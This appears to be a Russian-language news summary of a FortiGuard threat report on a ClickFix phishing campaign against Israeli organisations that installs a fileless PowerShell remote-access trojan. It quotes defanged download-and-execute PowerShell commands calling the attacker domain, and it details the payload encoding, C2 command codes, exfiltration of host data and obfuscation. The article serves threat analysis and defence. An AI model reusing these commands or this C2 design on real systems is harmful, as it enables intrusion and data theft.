PowerShell-призрак спит по 7 секунд и крадет чужую инфраструктуру.
Аналитики FortiMail Workspace Security выявили адресную кампанию против израильских компаний и организаций инфраструктурных отраслей. Преступники задействовали скомпрометированную внутреннюю почтовую систему и рассылали убедительные сообщения по региональным адресатам. Эта волна запускала многоступенчатую цепочку на базе PowerShell без каких-либо внешних исполняемых файлов: в финале на хост попадал троян удалённого доступа (RAT), работающий целиком в скриптовой оболочке. По совокупности признаков риск высокий: зафиксированы утечка данных, скрытое наблюдение, закрепление в среде и перемещение внутри сети.
Приманка выглядела как приглашение на «наставническую встречу о действиях в период военных угроз и обращении с медицинскими и фармацевтическими запасами». Получателей просили поделиться материалами с коллегами, что увеличивало охват внутри организаций. Переход по ссылке вёл на поддельную страницу Microsoft Teams, копирующую интерфейс и предлагающую «Continue on this browser». Далее на экране появлялась подсказка: нажмите Windows+R, вставьте из буфера длинную строку и подтвердите Enter — социальная уловка , скрывающая запуск вредоносной команды PowerShell через диалог «Выполнить».
Разметка фишинговой страницы содержала строку Base64, разбитую на три части; после склейки и декодирования она давала команду на загрузку и исполнение удалённого сценария:
powershell IEX ((Invoke-RestMethod -Uri hxxps[:]//pharmacynod[.]com/Fix -Method GET)[.]note[.]body)
Эта строка инициировала обращение к серверу оператора и передавала управление следующему этапу.
Дальше с того же узла выгружались два файла. Сначала на диск сохранялся test.html по пути C:\Users\Public\Downloads\test.html, полученный вызовом Invoke-WebRequest -UseDefaultCredentials -UseBasicParsing -Uri hxxps[:]//pharmacynod[.]com//31133?did=59MVRI –OutFile. Внутри находился blob с длинной строкой между маркерами <tag>…</tag>. Затем выполнялся ещё один сетевой запрос: (Invoke-WebRequest -UseDefaultCredentials -UseBasicParsing -Uri hxxps[:]//pharmacynod[.]com//35893?provider=68600).content. Полученный код считывал одиннадцатую строку из test.html, извлекал содержимое между тегами, делил его по разделителю kendrick, превращал двоичные фрагменты в десятичные значения, конвертировал их в символы и, собрав исходный текст, исполнял результат через IEX. Для наглядности: из последовательности kendrick1100110kendrick после разбиения остаётся 1100110; число 1100110₂ равно 102₁₀, что даёт букву f при приведении к типу [char].
Чтобы ускорить разбор, исследователи написали короткий Python-декодер. На выходе получилась сжатая строка в Base64 с конструкцией IEX (Decompress-Base64-String "...."). Процесс следующий: раскодировать и распаковать буфер, затем передать получившийся текст в интерпретатор PowerShell. Для этого в теле сценария определялась функция распаковки (GZip + Base64), после чего декодированный массив отправлялся в неё и сохранялся как обычный .ps1.
Сетевое поведение жёстко привязано к одному домену: $global:SRV = "hxxps[:]//pharmacynod[.]com/". Обмен шёл по HTTPS. Сразу после старта выполнялась регистрация заражённой системы («init»): собирались параметры окружения — домен Windows, имя узла, учётная запись — данные объединялись, дважды проходили через GZip и кодировку Base64, затем разворачивались (реверс строки) с дополнительной обфускацией и отправлялись на эндпоинт /16625. Далее запускался бесконечный цикл с паузами на случайный интервал около 2–7 секунд для имитации пользовательской активности. Для опроса управляющей стороны применялась функция Get-Appversion, выполнявшая POST-запрос и получавшая инструкции в сжатом и перевёрнутом виде; локальная подпрограмма Get-Decompress приводила их к исходному виду.
Команды помечались числовыми кодами. Маркер 7979 инициировал повторную инициализацию — формировались идентификаторы заново и обновлялось соединение. Значение 5322 предписывало скачать удалённый объект и сохранить на диск: из ответа извлекались URL и имя файла, а загрузка шла через System.Net.WebClient в рамках функции Get-File. Число 4622 меняло интервал опроса: новый параметр парсился и записывался в глобальную переменную $time, что позволяло оператору управлять частотой «маяков». Код 2474 означал удалённое выполнение произвольной команды в PowerShell: полезная нагрузка сначала декодировалась и распаковывалась, затем запускалась через IEX; вывод вместе с ошибками сжимался, дважды разворачивался и отправлялся на /17361. Такой набор даёт полноценный RCE, подгрузку модулей и выкачку результатов.
С атрибуцией однозначности нет. В наблюдаемом инциденте противник последовательно взламывал израильские компании в течение нескольких дней и использовал каждую скомпрометированную площадку как отправную точку для следующих целей — приём характерен для MuddyWater. При этом есть отличия: сознательный отказ от RMM-инструментов и публичных файловых хостингов, ставка исключительно на PowerShell, стартовый приём «ClickFix» вместо стандартных дропперов. Инфраструктура, региональная направленность и приёмы работы со скриптами во многом совпадают с прежними эпизодами, однако уникальная последовательность стадий оставляет пространство для сомнений: либо эволюция подхода, либо другой актор, заимствующий привычные тактики.
Для скрытности применялась многоуровневая обфускация и маскировка трафика. Полезные нагрузки и ответы C2 кодировались и сжимались (двойной GZip, Base64, реверс строк, замена + на _ для совместимости с URL). Для транспорта использовались нативные вызовы .NET, в заголовок подставлялся реалистичный User-Agent через urlmon.dll, применялись учётные данные по умолчанию и системные прокси-настройки — всё ради сходства с обычной пользовательской активностью. В отчёте также приведено сопоставление этапов операции с матрицей MITRE ATT&CK .
Средства Fortinet закрывают атаку на нескольких уровнях. Сигнатура FortiGuard Antivirus определяет семейство как PowerShell/Agent.PH!tr. FortiMail Workspace Security блокирует цепочку доставки через почту. FortiEDR пресекает запуск вредоносных сценариев , препятствует внедрению в память и выявляет пост-эксплуатационную активность, характерную для RAT и загрузчиков. Межсетевые экраны FortiGate с IPS отсекают обмен с командными узлами и типичные HTTPS-маяки, FortiGuard DNS/Web Filtering не пускают на известные опасные домены, включая pharmacynod[.]com. Платформы наблюдения FortiAnalyzer и FortiSIEM дают сводную картину и корреляцию событий, а FortiNDR дополняет покрытие поведенческой аналитикой и ML для обнаружения сценариев без файлов или с упором на скрипты. Базы угроз оперативно обновляются FortiGuard Labs; подозревающим компрометацию рекомендуют связаться с FortiGuard Incident Response.
Индикаторы скомпрометированности и характерные признаки включают набор обфускаций (двойное GZip-сжатие, Base64, реверс, подмена символа + на _), домен C2 hxxps[:]//pharmacynod[.]com/, путь для регистрации /16625, эндпоинт для результатов команд /17361, а также хэш SHA-256 46a76b3c7851f30d68ebc6a5584bc099435b0544d8707fff7a9178f46046708b для образца на PowerShell. С учётом подтверждённого охвата и нацеленности на израильский бизнес и критически важные службы, быстрые детекторы подобных паттернов и их приоритизация — обязательная мера для региональных организаций с высоким риском.